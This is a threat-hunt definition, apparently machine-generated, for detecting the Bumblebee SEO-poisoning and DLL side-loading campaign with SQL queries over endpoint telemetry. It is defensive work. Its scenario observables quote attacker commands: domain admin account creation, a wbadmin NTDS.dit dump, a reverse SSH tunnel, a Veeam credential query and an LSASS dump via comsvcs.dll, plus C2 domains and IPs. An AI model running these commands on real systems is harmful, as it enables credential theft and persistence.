← All hunts high TLP:CLEAR Part 1 of 3

Bumblebee SEO Poisoning and DLL Sideloading

An intruder compromises privileged workstations by poisoning search results for IT tools, tricking users into running a trojanized MSI that side-loads Bumblebee malware via consent.exe.

Based on research by The DFIR Report 2026-09-20 12 steps · 4 queries T1071.001 T1189 T1204.002 T1568.002 T1574.002

Brief

Why hunt for Bumblebee now

Recent research from The DFIR Report — From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira details a campaign where an adversary poisoned Bing search results for common IT management tools. This technique targets privileged users looking for software like ManageEngine OpManager or Angry IP Scanner. Because these tools are common in enterprise environments, the initial download often bypasses basic reputation filters, eventually leading to full domain compromise.

How the hunt flows

The hunt begins by inventorying hosts that already contain the targeted software titles. This scoping step narrows the search to systems where the adversary's lure is most likely to succeed, such as IT administrator workstations. The first query identifies packages like ManageEngine, Angry IP Scanner, and Axis Camera Station to establish a baseline of potential targets.

The hunt then looks for leads by identifying rare MSI executions triggered from user-writable paths or temporary directories. While msiexec.exe is common, executions pointing to .msi files in Downloads or ProgramData with a low host count across the environment indicate potential trojanized installers. This step filters out standard software deployments managed by central IT.

Once a suspicious installer is identified, the hunt pivots to behavioral evidence. The primary indicator is the side-loading of msimg32.dll into the Windows UAC process, consent.exe. This is a signature Bumblebee technique. The query looks for this specific module load occurring on the lead hosts, which signifies the malware has moved from a user-initiated installer to a system-signed process.

Finally, the hunt verifies the infection through network activity. It correlates the identified hosts with DNS queries for known C2 domains and algorithmically generated domain names (DGA). The DGA pattern typically involves 12 to 18-character .org domains. An analyst confirms the verdict by checking the temporal link: the side-loading behavior must occur shortly after the rare MSI execution.

What the hunt cannot see

This hunt has two primary blind spots. First, it depends on full process command line telemetry. If the EDR or logging solution truncates the command line, the path to the .msi file may be lost, hiding the rare installer lead. Second, some security products ignore module loads into Microsoft-signed system processes like consent.exe to reduce noise. If this filtering is active, the behavioral pivot will remain invisible.

In this series

Steps

  1. Scope hosts with targeted IT software

    Query · scoping

    Identify hosts containing the impersonated IT management software to focus the hunt on likely victims.

    reads hb_software_inventorysql
    SELECT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE (LOWER(package_name) LIKE '%opmanager%' OR LOWER(package_name) LIKE '%manageengine%' OR LOWER(package_name) LIKE '%angry ip%' OR LOWER(package_name) LIKE '%axis camera%' OR LOWER(package_name) LIKE '%advanced ip%')

    What a hit looks like. A list of hosts running software often impersonated by this threat actor, such as OpManager or network scanners.

  2. Rare MSI executions from user paths

    Query · baseline

    Locate the trojanized installer by finding rare MSI executions triggered from user-writable or temporary directories.

    reads hb_process_activitysql
    SELECT device_hostname, process_path, process_cmd_line, user_name, MIN(time) AS first_seen, COUNT(DISTINCT device_hostname) AS host_count FROM hb_process_activity WHERE (LOWER(process_name) LIKE '%msiexec.exe' OR LOWER(process_cmd_line) LIKE '%msiexec %') AND (LOWER(process_cmd_line) LIKE '%\\users\\%' OR LOWER(process_cmd_line) LIKE '%\\downloads\\%' OR LOWER(process_cmd_line) LIKE '%\\desktop\\%' OR LOWER(process_cmd_line) LIKE '%\\programdata\\%') AND LOWER(process_cmd_line) LIKE '%.msi%' AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY process_cmd_line, process_path, device_hostname, user_name HAVING host_count <= 3 ORDER BY host_count ASC

    What a hit looks like. Rare command lines pointing at installers in Downloads or ProgramData. The process_path confirms whether msiexec.exe is running from System32.

  3. Evaluate MSI installation lead

    Agent triage

    Assess the rare MSI files to determine if they match the trojanized patterns from the campaign.

  4. Gate on MSI findings

    Decision

    Open expensive behavioral queries only when a suspicious installer is identified.

  5. Bumblebee side-loading by consent.exe

    Query · detection candidate

    Detect the side-loading of msimg32.dll into the Windows UAC consent.exe process, a signature Bumblebee technique.

    reads hb_module_activitysql
    SELECT device_hostname, process_name, module_name, module_path, time FROM hb_module_activity WHERE LOWER(process_name) LIKE '%\\consent.exe' AND LOWER(module_name) = 'msimg32.dll' AND ('{{lead_hosts}}' = '' OR instr(',' || '{{lead_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')

    What a hit looks like. consent.exe loading msimg32.dll from an unexpected directory on a lead host.

  6. Bumblebee DGA and C2 network activity

    Query · enrichment

    Verify the infection through DNS activity matching the Bumblebee DGA and redirect domains.

    reads hb_dns_activitysql
    SELECT device_hostname, query_hostname, answers, time FROM hb_dns_activity WHERE (instr(',' || '{{c2_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 OR (length(query_hostname) BETWEEN 12 AND 18 AND query_hostname LIKE '%.org')) AND ('{{lead_hosts}}' = '' OR instr(',' || '{{lead_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')

    What a hit looks like. Lead hosts resolving known C2 redirectors or DGA domains like random .org addresses.

  7. Triage Bumblebee infection

    Agent triage

    Synthesize the MSI lead, behavioral module loads, and network traffic into a confirmed infection verdict.

  8. Route on infection verdict

    Decision

    Direct the response based on the agent's confirmed findings.

  9. Isolate compromised host

    Response action

    Prevent the adversary from moving laterally or deploying ransomware by severing network access.

  10. Manual analyst review

    Analyst task

    Manually verify the origin of the malicious download and check for subsequent recon.

  11. Close out hunt

    Analyst task

    Finalize findings and recommend detection tuning.

Coverage

Scenario coverage

StageCoveredHow, or why not
Initial Access via SEO Poisoning
T1189
Yes scoping-affected-software, lead-msi-execution, c2-network-activity
Bumblebee Loading and Execution
T1574.002 · T1204.002
Yes module-sideload-behavior
Bumblebee and Adaptix C2
T1071.001 · T1568.002
Yes c2-network-activity
Host and Domain Reconnaissance
T1082 · T1087.002 · T1069.002
Out of scope Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.
Privileged Account Creation
T1136.002
Out of scope Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.
Lateral Movement via RDP
T1021.001
Out of scope Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.
NTDS.dit Extraction
T1003.003
Out of scope Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.
Persistence and External Tunneling
T1133 · T1572
Out of scope Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.
Database and Memory Credential Theft
T1003.001 · T1555
Out of scope Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.
Data Exfiltration via FileZilla
T1048.003
Out of scope Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.
Akira Ransomware Deployment
T1486
Out of scope Belongs to another part of the 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira' series.

Blind spots

  • Needs full process command line telemetry including temporary paths. The lead query depends on seeing the filename in the command line; truncation would hide the trojanized installer. It would answer whether the .msi path in the msiexec command line is visible or truncated.
  • Needs hb_module_activity with DLL load logging for system processes. Some EDRs ignore module loads into Microsoft-signed system processes, blinding the hunt to the execution stage. It would answer whether the side-loading of msimg32.dll into consent.exe was recorded.

Parameters & data

Parameters

ParameterTypeDefaultWhat it is
c2_domainslist[domain]opmanager.pro, angryipscanner.org, axiscamerastation.org, ip-scanner.org, ev2sirbd269o5j.org, 2rxyt9urhq0bgj.orgKnown C2 and redirect domains from the article.
lead_hostslist[host]Specific hosts identified in the lead query; the analyst must populate this to run the behavioral fan-out.
lookback_daysnumber14Days of history to examine.
scope_hostslist[host]Optional list of hostnames from the scoping step to narrow the search.

Telemetry

SourceCategoryTelemetry
Endpoint telemetry (hb_ surfaces)endpointendpoint

Source

Download hunt.md Definition (JSON) An open hunt.md file; it runs anywhere that reads the format.
---
analysis: A standard rule for 'msimg32.dll' is too noisy for a production fleet. This
  hunt uses a gated flow to first identify rare MSI executions and then pivot to high-fidelity
  behavioral correlation, including a temporal check between the installer and the
  side-load in a system process.
blind_spots:
- id: msi-telemetry-gap
  question: whether the .msi path in the msiexec command line is visible or truncated
  requires: full process command line telemetry including temporary paths
  risk: The lead query depends on seeing the filename in the command line; truncation
    would hide the trojanized installer.
  stage: initial-access-seo-poisoning
- id: module-visibility-gap
  question: whether the side-loading of msimg32.dll into consent.exe was recorded
  requires: hb_module_activity with DLL load logging for system processes
  risk: Some EDRs ignore module loads into Microsoft-signed system processes, blinding
    the hunt to the execution stage.
  stage: execution-malware-loading
coverage:
- stage: initial-access-seo-poisoning
  status: covered
  steps:
  - scoping-affected-software
  - lead-msi-execution
  - c2-network-activity
- stage: execution-malware-loading
  status: covered
  steps:
  - module-sideload-behavior
- stage: command-and-control-bumblebee-adaptix
  status: covered
  steps:
  - c2-network-activity
- reason: 'Belongs to another part of the ''Flash Alert: From Bing Search to Ransomware:
    Bumblebee and AdaptixC2 Deliver Akira'' series.'
  stage: discovery-host-and-domain
  status: out_of_scope
- reason: 'Belongs to another part of the ''Flash Alert: From Bing Search to Ransomware:
    Bumblebee and AdaptixC2 Deliver Akira'' series.'
  stage: persistence-domain-account-creation
  status: out_of_scope
- reason: 'Belongs to another part of the ''Flash Alert: From Bing Search to Ransomware:
    Bumblebee and AdaptixC2 Deliver Akira'' series.'
  stage: lateral-movement-rdp
  status: out_of_scope
- reason: 'Belongs to another part of the ''Flash Alert: From Bing Search to Ransomware:
    Bumblebee and AdaptixC2 Deliver Akira'' series.'
  stage: credential-access-ntds-dump
  status: out_of_scope
- reason: 'Belongs to another part of the ''Flash Alert: From Bing Search to Ransomware:
    Bumblebee and AdaptixC2 Deliver Akira'' series.'
  stage: persistence-and-tunneling
  status: out_of_scope
- reason: 'Belongs to another part of the ''Flash Alert: From Bing Search to Ransomware:
    Bumblebee and AdaptixC2 Deliver Akira'' series.'
  stage: credential-access-postgre-lsass
  status: out_of_scope
- reason: 'Belongs to another part of the ''Flash Alert: From Bing Search to Ransomware:
    Bumblebee and AdaptixC2 Deliver Akira'' series.'
  stage: exfiltration-sftp
  status: out_of_scope
- reason: 'Belongs to another part of the ''Flash Alert: From Bing Search to Ransomware:
    Bumblebee and AdaptixC2 Deliver Akira'' series.'
  stage: impact-akira-ransomware
  status: out_of_scope
guardrails:
  claims: no_unsupported
  evidence: citation_required
  missing_data: not_benign
  telemetry: untrusted
hunt:
  applicability: campaign-specific
  handoff: promote-to-detection
  justification: Bumblebee is a gateway to Akira ransomware. Detecting the initial
    infection at the DLL side-loading stage prevents the intrusion from escalating
    to full domain compromise and data exfiltration.
  methodology: model-assisted
  trigger: intel-report
hypothesis: An intruder compromises privileged workstations by poisoning search results
  for IT tools, tricking users into running a trojanized MSI that side-loads Bumblebee
  malware via consent.exe.
labels:
- hunt
- attack.t1189
- attack.t1574.002
- attack.t1204.002
- attack.t1071.001
- attack.t1568.002
name: Bumblebee SEO Poisoning and DLL Sideloading
parameters:
  c2_domains:
    default:
    - opmanager.pro
    - angryipscanner.org
    - axiscamerastation.org
    - ip-scanner.org
    - ev2sirbd269o5j.org
    - 2rxyt9urhq0bgj.org
    description: Known C2 and redirect domains from the article.
    from:
      kind: article
      observed: '2025-08-05'
      ref: https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira-2/
    type: list[domain]
  lead_hosts:
    default: []
    description: Specific hosts identified in the lead query; the analyst must populate
      this to run the behavioral fan-out.
    type: list[host]
  lookback_days:
    default: '14'
    description: Days of history to examine.
    type: number
  scope_hosts:
    default: []
    description: Optional list of hostnames from the scoping step to narrow the search.
    type: list[host]
provenance:
  authors:
  - name: Huntbase hunt generation
    org: huntbase.io
  generated:
    by: huntbase-hunt-generation
    from: https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira-2/
    gates:
    - dry-run
    - lint
    model: hb_google/gemini-3-flash-preview
rationale: Focus on high-privilege IT administrator workstations and servers where
  management software like ManageEngine is expected. Use the inventory query to find
  legitimate installations to establish a baseline.
references:
- name: "The DFIR Report \u2014 From Bing Search to Ransomware: Bumblebee and AdaptixC2\
    \ Deliver Akira"
  url: https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira-2/
related:
- hunt: bumblebee-discovery-and-recon
  reason: This hunt targets initial access; the follow-on hunt identifies the subsequent
    internal reconnaissance commands.
  relation: follows
scenario:
  stages:
  - name: Initial Access via SEO Poisoning
    observables:
    - opmanager.pro
    - ManageEngine-OpManager.msi
    - angryipscanner.org
    - axiscamerastation.org
    - ip-scanner.org
    slug: initial-access-seo-poisoning
    tactic: initial-access
    techniques:
    - T1189
  - name: Bumblebee Loading and Execution
    observables:
    - msiexec.exe
    - consent.exe
    - msimg32.dll
    - 186b26df63df3b7334043b47659cba4185c948629d857d47452cc1936f0aa5da
    - a6df0b49a5ef9ffd6513bfe061fb60f6d2941a440038e2de8a7aeb1914945331
    slug: execution-malware-loading
    tactic: execution
    techniques:
    - T1574.002
    - T1204.002
  - name: Bumblebee and Adaptix C2
    observables:
    - 109.205.195.211
    - 188.40.187.145
    - 172.96.137.160
    - ev2sirbd269o5j.org
    - 2rxyt9urhq0bgj.org
    - AdgNsy.exe
    slug: command-and-control-bumblebee-adaptix
    tactic: command-and-control
    techniques:
    - T1071.001
    - T1568.002
  - name: Host and Domain Reconnaissance
    observables:
    - systeminfo
    - 'nltest /dclist:'
    - whoami /groups
    - net group "domain admins" /dom
    slug: discovery-host-and-domain
    tactic: discovery
    techniques:
    - T1082
    - T1087.002
    - T1069.002
  - name: Privileged Account Creation
    observables:
    - net user backup_DA
    - net user backup_EA
    - net group "Enterprise Administrators" backup_EA /add
    slug: persistence-domain-account-creation
    tactic: persistence
    techniques:
    - T1136.002
  - name: Lateral Movement via RDP
    observables:
    - backup_EA
    slug: lateral-movement-rdp
    tactic: lateral-movement
    techniques:
    - T1021.001
  - name: NTDS.dit Extraction
    observables:
    - wbadmin.exe start backup -backuptarget:\\127.0.0.1\C$\ProgramData\ -include:"C:\windows\NTDS\ntds.dit"
    - ntds.dit
    slug: credential-access-ntds-dump
    tactic: credential-access
    techniques:
    - T1003.003
  - name: Persistence and External Tunneling
    observables:
    - RustDesk
    - ssh root@193.242.184.150 -R *:10400
    - 83.229.17.60
    slug: persistence-and-tunneling
    tactic: persistence
    techniques:
    - T1133
    - T1572
  - name: Database and Memory Credential Theft
    observables:
    - psql.exe -U postgres -d VeeamBackup -c "SELECT user_name,password FROM credentials"
    - 'rundll32.exe C:\windows\System32\comsvcs.dll, #+000024'
    slug: credential-access-postgre-lsass
    tactic: credential-access
    techniques:
    - T1003.001
    - T1555
  - name: Data Exfiltration via FileZilla
    observables:
    - FileZilla
    - 185.174.100.203
    slug: exfiltration-sftp
    tactic: exfiltration
    techniques:
    - T1048.003
  - name: Akira Ransomware Deployment
    observables:
    - locker.exe
    - win.exe
    - de730d969854c3697fd0e0803826b4222f3a14efe47e4c60ed749fff6edce19d
    slug: impact-akira-ransomware
    tactic: impact
    techniques:
    - T1486
  summary: Threat actors utilized SEO poisoning for 'ManageEngine OpManager' to deliver
    Bumblebee malware, which dropped AdaptixC2 for post-exploitation. The intrusion
    involved domain account creation, NTDS.dit dumping via wbadmin, and lateral movement
    to a backup server before exfiltrating data and deploying Akira ransomware.
series:
  index: 1
  slug: flash-alert-from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira
  title: 'Flash Alert: From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver
    Akira'
  total: 3
severity: high
targets:
  analyst:
    name: Tier-2 analyst
    role: analyst
  endpoint:
    category: endpoint
    name: Endpoint telemetry (hb_ surfaces)
    telemetry:
    - endpoint
  hunter:
    agent: true
    name: Hunt agent
tlp: clear
type: investigation
---


# Bumblebee SEO Poisoning and DLL Sideloading

This hunt targets the mid-2025 campaign where an adversary delivered Bumblebee through SEO-poisoned Bing search results for common IT tools like ManageEngine OpManager. The adversary tricks users into downloading trojanized MSI installers, which then side-load malware via the Windows consent process. The hunt identifies affected systems by inventory, evaluates rare installer execution in user-writable paths, and correlates those leads with behavioral and network indicators of Bumblebee and AdaptixC2. The analyst verifies the causal link between the installer and the subsequent high-integrity DLL side-loading to confirm the infection.

## scoping-affected-software
<!-- Scope hosts with targeted IT software -->
Identify hosts containing the impersonated IT management software to focus the hunt on likely victims.

```sqlite target=endpoint role=scoping
~~~yaml
expected: A list of hosts running software often impersonated by this threat actor,
  such as OpManager or network scanners.
reads:
- device_hostname
- package_name
- package_version
- vendor_name
silence: not_evidence_of_absence
source: hb_software_inventory
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE (LOWER(package_name) LIKE '%opmanager%' OR LOWER(package_name) LIKE '%manageengine%' OR LOWER(package_name) LIKE '%angry ip%' OR LOWER(package_name) LIKE '%axis camera%' OR LOWER(package_name) LIKE '%advanced ip%')
```

## lead-msi-execution
<!-- Rare MSI executions from user paths -->
Locate the trojanized installer by finding rare MSI executions triggered from user-writable or temporary directories.

```sqlite target=endpoint role=baseline params=(lookback_days=lookback_days, scope_hosts=scope_hosts)
~~~yaml
baseline:
  compare: first_seen
  window: '{{lookback_days}}d'
expected: Rare command lines pointing at installers in Downloads or ProgramData. The
  process_path confirms whether msiexec.exe is running from System32.
prevalence:
  by: device_hostname
  key:
  - process_cmd_line
  rare_below: 3
reads:
- device_hostname
- process_path
- process_cmd_line
- user_name
- time
silence: not_evidence_of_absence
source: hb_process_activity
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT device_hostname, process_path, process_cmd_line, user_name, MIN(time) AS first_seen, COUNT(DISTINCT device_hostname) AS host_count FROM hb_process_activity WHERE (LOWER(process_name) LIKE '%msiexec.exe' OR LOWER(process_cmd_line) LIKE '%msiexec %') AND (LOWER(process_cmd_line) LIKE '%\\users\\%' OR LOWER(process_cmd_line) LIKE '%\\downloads\\%' OR LOWER(process_cmd_line) LIKE '%\\desktop\\%' OR LOWER(process_cmd_line) LIKE '%\\programdata\\%') AND LOWER(process_cmd_line) LIKE '%.msi%' AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY process_cmd_line, process_path, device_hostname, user_name HAVING host_count <= 3 ORDER BY host_count ASC
```

## evaluate-lead
<!-- Evaluate MSI installation lead -->
```agent target=hunter
cite: required
context:
- lead-msi-execution
max_iterations: 3
objective: Determine if any detected MSI executions resemble the trojanized IT tools
  named in the research, such as ManageEngine or Angry IP Scanner.
success_criteria: A list of hosts where the MSI leads are suspicious enough to warrant
  further behavioral analysis.
tools:
- endpoint
```

## gate-on-msi
<!-- Gate on MSI findings -->
if~: "the evaluation identified at least one suspicious MSI installer matching the campaign pattern" (confidence: high, judge=hunter)
then: → fan-out-investigation
indeterminate: → manual-analyst-review
unavailable: → manual-analyst-review (blind_spot: msi-telemetry-gap)
else: → close-out-hunt

## fan-out-investigation
<!-- Investigate infection behavior -->
parallel:
- → module-sideload-behavior
- → c2-network-activity
join: → triage-infection

## module-sideload-behavior
<!-- Bumblebee side-loading by consent.exe -->
Detect the side-loading of msimg32.dll into the Windows UAC consent.exe process, a signature Bumblebee technique.

```sqlite target=endpoint role=detection-candidate params=(lookback_days=lookback_days, lead_hosts=lead_hosts)
~~~yaml
expected: consent.exe loading msimg32.dll from an unexpected directory on a lead host.
reads:
- device_hostname
- process_name
- module_name
- module_path
- time
silence: not_evidence_of_absence
source: hb_module_activity
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT device_hostname, process_name, module_name, module_path, time FROM hb_module_activity WHERE LOWER(process_name) LIKE '%\\consent.exe' AND LOWER(module_name) = 'msimg32.dll' AND ('{{lead_hosts}}' = '' OR instr(',' || '{{lead_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')
```

## c2-network-activity
<!-- Bumblebee DGA and C2 network activity -->
Verify the infection through DNS activity matching the Bumblebee DGA and redirect domains.

```sqlite target=endpoint role=enrichment params=(lookback_days=lookback_days, c2_domains=c2_domains, lead_hosts=lead_hosts)
~~~yaml
expected: Lead hosts resolving known C2 redirectors or DGA domains like random .org
  addresses.
reads:
- device_hostname
- query_hostname
- answers
- time
silence: not_evidence_of_absence
source: hb_dns_activity
verified: dry-run
verified_at: '2026-09-20'
~~~
SELECT device_hostname, query_hostname, answers, time FROM hb_dns_activity WHERE (instr(',' || '{{c2_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0 OR (length(query_hostname) BETWEEN 12 AND 18 AND query_hostname LIKE '%.org')) AND ('{{lead_hosts}}' = '' OR instr(',' || '{{lead_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')
```

## triage-infection
<!-- Triage Bumblebee infection -->
```agent target=hunter
cite: required
context:
- evaluate-lead
- module-sideload-behavior
- c2-network-activity
max_iterations: 6
objective: Explicitly correlate the timestamp of the rare MSI execution found in evaluate-lead
  with the consent.exe module load in module-sideload-behavior to confirm the causal
  link. Determine if C2 traffic provides additional confirmation.
success_criteria: A malicious verdict for hosts where the trojanized installer triggered
  the side-loading behavior.
tools:
- endpoint
```

## route-on-verdict
<!-- Route on infection verdict -->
if~: "the triage verdict is malicious for at least one host" (confidence: high, judge=hunter)
then: → isolate-compromised-host
indeterminate: → manual-analyst-review
unavailable: → manual-analyst-review (blind_spot: module-visibility-gap)
else: → manual-analyst-review

## isolate-compromised-host
<!-- Isolate compromised host -->
```action target=endpoint
~~~yaml
approval: required
~~~
Isolate the host immediately. Collect the MSI installer and the msimg32.dll file from the temporary directories for further forensic analysis.
```
→ manual-analyst-review

## manual-analyst-review
<!-- Manual analyst review -->
```manual target=analyst
Audit browser history for searches on Bing related to the identified IT tools. Verify if subsequent discovery commands like 'systeminfo' or 'nltest' ran on the host.
```
→ close-out-hunt

## close-out-hunt
<!-- Close out hunt -->
```manual target=analyst
Document confirmed malicious MSI packages. Consider promoting the consent.exe module-load logic to a persistent detection rule if false positive rates are low.
```
→ end

Run it

Take this hunt into your environment.

Open it in Huntbase to run every step against your own connections, with Scout weighing the evidence and your analysts in command. Or take the open hunt.md file anywhere that reads the format.

Machine-drafted by huntbase-hunt-generation using hb_google/gemini-3-flash-preview, gated by dry-run, lint, then reviewed by a person.